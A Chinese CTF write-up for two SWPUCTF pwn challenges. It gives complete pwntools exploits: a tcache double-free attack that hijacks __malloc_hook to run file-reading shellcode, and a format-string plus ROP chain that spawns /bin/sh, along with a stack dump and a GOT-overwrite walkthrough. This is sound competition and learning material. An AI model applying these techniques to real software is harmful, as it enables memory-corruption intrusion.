前言
前两天玩了一下swpuctf, 事情比较多就只做了pwn题. 一共两个pwn题, 都不是很难. 拿了一个一血一个三血, 记录一下.
p1kkheap
这个题的漏洞很明显, free之后指针没有清空, 可以double free. 而且这题给的libc是2.27, tcache结合 double free 可以实现任意地址写.
结合提供的 show 功能可以实现任意地址读写.
而且题目开始时还咋 0x666000 处mmap了一块 rwx 的空间.
不过题目有三个限制
- seccomp 禁了 execve 系统调用.
- add/edit/show/delete 操作的次数不能超过 18 次
- free 的次数 不能超过 三次.
正好前两天看了一篇tcache struct攻击的文章[1]. 利用这种方法恰好把所以次数都用完. 赛后查看官方wp发现确实就是预期解.
思路大概如下:
- double free, leak 堆地址
- 修改fd 指向 tcache struct
- 修改 tcache struct, 将 一个chunk free 进 unsorted bin, 得到 libc 地址
- 修改 tcache struct 的entry.
- malloc 一个chunk 在 0x666000 除写入 shellcode
- malloc 一个chunk 在 __malloc_hook 处修改其为 0x666000
- malloc 执行 shellcode
exp如下
from pwn import *
from time import sleep
import sys
global io
context(arch = 'amd64', os = 'linux', endian = 'little')
filename = "./p1KkHeap"
ip = "39.98.64.24"
port = 9091
LOCAL = True if len(sys.argv)==1 else False
elf = ELF(filename)
remote_libc = "./libc.so.6"
if LOCAL:
io = process("./" + filename, env={'LD_PRELOAD': remote_libc})
libc = ELF(remote_libc)
else:
context.log_level = 'debug'
io = remote(ip, port)
libc = ELF(remote_libc)
def lg(name, val):
log.info(name+" : "+hex(val))
global g_opcnt
g_opcnt = 0
def choice( idx):
global g_opcnt
g_opcnt += 1
print("%d / 18"%(g_opcnt))
io.sendlineafter( "Your Choice: ", str(idx))
def add( size):
choice( 1)
io.sendlineafter( "size: ", str(size))
def show( idx):
choice( 2)
io.sendlineafter( "id: ", str(idx))
def edit( idx, data):
choice( 3)
io.sendlineafter( "id: ", str(idx))
io.sendafter( "content: ", data)
def remove( idx):
choice( 4)
io.sendlineafter( "id: ", str(idx))
add( 0x80)
add( 0x90)
remove( 1)
remove( 1)
show( 1)
io.recvuntil( "content: ")
heap_addr = u64(io.recv( 6)+'\0\0')
heap_base = heap_addr - 0x2f0
lg("heap base", heap_base)
add( 0x90)
edit( 2, p64(heap_base+0x10))
add( 0x90)
add( 0x90)
fake_tcache_st = '\x07'*64
edit( 4, fake_tcache_st)
remove( 0)
show( 0)
io.recvuntil( "content: ")
usbin_addr = u64(io.recv( 6)+'\0\0')
lg("usbin_addr", usbin_addr)
libc.address = usbin_addr - 0x3ebca0
lg("libc base", libc.address)
mh_addr = libc.symbols['__malloc_hook']
rwx_addr = 0x66660000
p2 = '\x07'*64+p64(mh_addr)+p64(rwx_addr)*7
edit( 4, p2)
add( 0x50)
sc = ""
sc += asm(shellcraft.amd64.linux.open("./flag.txt", 0))
sc += asm("""
/* call read('eax', 1717960960, 11) */
mov edi, eax
xor eax, eax /* SYS_read */
push 0x30
pop rdx
mov esi, 0x1010201 /* 1717960960 == 0x66660100 */
xor esi, 0x67670301
syscall
""")
sc += asm(shellcraft.amd64.linux.write(1, 0x66660100, 0x30))
edit( 5, sc)
add( 0x18)
edit( 6, p64(rwx_addr))
add( 0x28)
io.interactive()
login
题目没开 PIE.
有明显的格式化字符串漏洞. 但是字符串不在栈上, 所以用 %n
的时候地址不太好控制.
我的利用方式比较麻烦..... 利用栈上的ebp链 修改ebp, 最终把main函数的返回地址迁移到 bss段, 并进行rop.
但是因为bss段的低地址处就是代码段(不可写), 所以执行函数的时候会因为栈空间不够报错.... 只能自己构造syscall的rop链....(这一步浪费了不少时间)
exp如下
from pwn import *
from time import sleep
import sys
global io
context(arch = 'i386', os = 'linux', endian = 'little')
filename = "./login"
ip = "108.160.139.79"
port = 9090
LOCAL = True if len(sys.argv)==1 else False
elf = ELF(filename)
remote_libc = "./remote_libc"
if LOCAL:
io = process(filename)
libc = elf.libc
else:
context.log_level = 'debug'
io = remote(ip, port)
libc = ELF(remote_libc)
def lg(name, val):
log.info(name+" : "+hex(val))
g_str = 0x804B0A0
g_name = 0x804B080
plt_printf = 0x8048400
plt_puts = 0x8048410
got_printf = 0x804B014
main = 0x80485E3 # 0x8048606 real
prefix = "wllmmllw"
rop = p32(plt_puts)+p32(main)+p32(got_printf)
io.sendafter( " your name: ", "/bin/sh\0")
p1 = "%6$x_%15$x\n"
io.sendlineafter( "password: \n", p1.ljust(0x31, '\0'))
io.recvuntil( "password: ")
t = io.recvline(io).split("_")
ebp0 = int(t[0], 16) # 0xffffd308
libc_addr = int(t[1], 16)
lg("ebp0", ebp0)
p2 = "%{}c%6$hhn".format((ebp0-4)&0xff)
io.sendlineafter( "again", p2)
io.sendlineafter( "again", "%20c%10$hhn")
io.sendlineafter( "again", "%9$s")
io.recvuntil( "word: ")
printf_addr = u32(io.recv( 4))
puts_addr = u32(io.recv( 4))
lg("printf addr", printf_addr)
lg("puts_addr", puts_addr)
libc.address = puts_addr - libc.symbols['puts']
lg("libc base", libc.address)
io.sendlineafter( "again", "%180c%10$hhn")
system_addr = libc.symbols['system']
binsh_addr = next(libc.search("/bin/sh\0"))
if LOCAL:
int_80 = 0x00002c87 + libc.address
PespR = 0x00003980 + libc.address
PeaxPebxPesiPediR = 0x0003da0a + libc.address
PecxR = 0x000b5377 + libc.address
else:
int_80 = 0x00002d37 + libc.address
PeaxPebxPesiPediR = 0x0003ff3a + libc.address
PedxPecxPeaxR = 0x000faa4f + libc.address
PecxR = 0x00193908 + libc.address
PespR = 0x00003aa0 + libc.address
rop2 = p32(PeaxPebxPesiPediR)+\
p32(0xb)+p32(binsh_addr)+\
p32(0)*2 + p32(PecxR) + p32(0) + p32(int_80)
io.sendlineafter( "again", ("%{}c%6$hhn".format((ebp0)&0xff)).ljust(0x10, 'a')+rop2)
io.sendlineafter( "again", prefix)
io.interactive()
因为方法比较复杂导致exp写的太慢..... 只抢到了三血.....
一个更好的做法
通过调试可以看到执行printf的时候栈空间大概如下
'''
EBP 0xffffd2f8 —
ESP 0xffffd2e0 —
pwndbg> stack 20
add stack 20 to history
00:0000│ esp 0xffffd2e0 —▸ 0x804b0a0 ◂— 0xa616161 ('aaa\n')
01:0004│ 0xffffd2e4 —▸ 0x8048dae ◂— ja 0x8048e1c
02:0008│ 0xffffd2e8 ◂— 0x8
03:000c│ 0xffffd2ec —▸ 0x80485fb ◂— add esp, 0x10
04:0010│ 0xffffd2f0 —▸ 0x8048dfd ◂— push 0x6f6c6c65
05:0014│ 0xffffd2f4 —▸ 0x804b080 ◂— 0xa616161 ('aaa\n')
06:0018│ ebp 0xffffd2f8 —▸ 0xffffd308 —▸ 0xffffd318 ◂— 0x0
07:001c│ 0xffffd2fc —▸ 0x8048603 ◂— nop
08:0020│ 0xffffd300 —▸ 0x8048e20 ◂— inc edx
09:0024│ 0xffffd304 —▸ 0x804b080 ◂— 0xa616161 ('aaa\n')
0a:0028│ 0xffffd308 —▸ 0xffffd318 ◂— 0x0
0b:002c│ 0xffffd30c —▸ 0x8048689 ◂— nop
0c:0030│ 0xffffd310 —▸ 0xf7fbf3dc (__exit_funcs) —▸ 0xf7fc01e0 (initial) ◂— 0x0
0d:0034│ 0xffffd314 —▸ 0xffffd330 ◂— 0x1
0e:0038│ 0xffffd318 ◂— 0x0
0f:003c│ 0xffffd31c —▸ 0xf7e25637 (__libc_start_main+247) ◂— add esp, 0x10
10:0040│ 0xffffd320 —▸ 0xf7fbf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
12:0048│ 0xffffd328 ◂— 0x0
13:004c│ 0xffffd32c —▸ 0xf7e25637 (__libc_start_main+247) ◂— add esp, 0x10
'''
我们可以通过如下流程在 栈上构造一个 got 表的地址. 以 printf@got
的地址 0x804B014
为例:
- 通过
%16c%6$hhn__
把0xffffd308
处的地址修改为0xffffd310
- 通过
%20c%10$hhn_
把0xffffd310
处的地址修改为0xf7fbf314
- 通过
%17c%6$hhn__
把0xffffd308
处的地址修改为0xffffd311
- 通过
%176c%10$hhn
把0xffffd310
处的地址修改为0xf7fbb014
- 通过
%18c%6$hhn__
把0xffffd308
处的地址修改为0xffffd312
- 通过
%4c%10$hhn__
把0xffffd310
处的地址修改为0xf704b014
- 通过
%19c%6$hhn__
把0xffffd308
处的地址修改为0xffffd313
- 通过
%8c%10$hhn_
把0xffffd310
处的地址修改为0x0804b014
通过这种方式可以把 printf@got
, printf@got+1
, printf@got+2
, printf@got+3
四个地址都在栈上构造出来
再来一次格式化字符串操作就可以把 printf@got 指向 system了.
[2]中也是用的这种方式
如果一开始就想到这种方法的话做起来应该会快一些.
总结
emmmm, 写exp还是太慢了, 思路还是太狭隘了.
多做题, 多总结!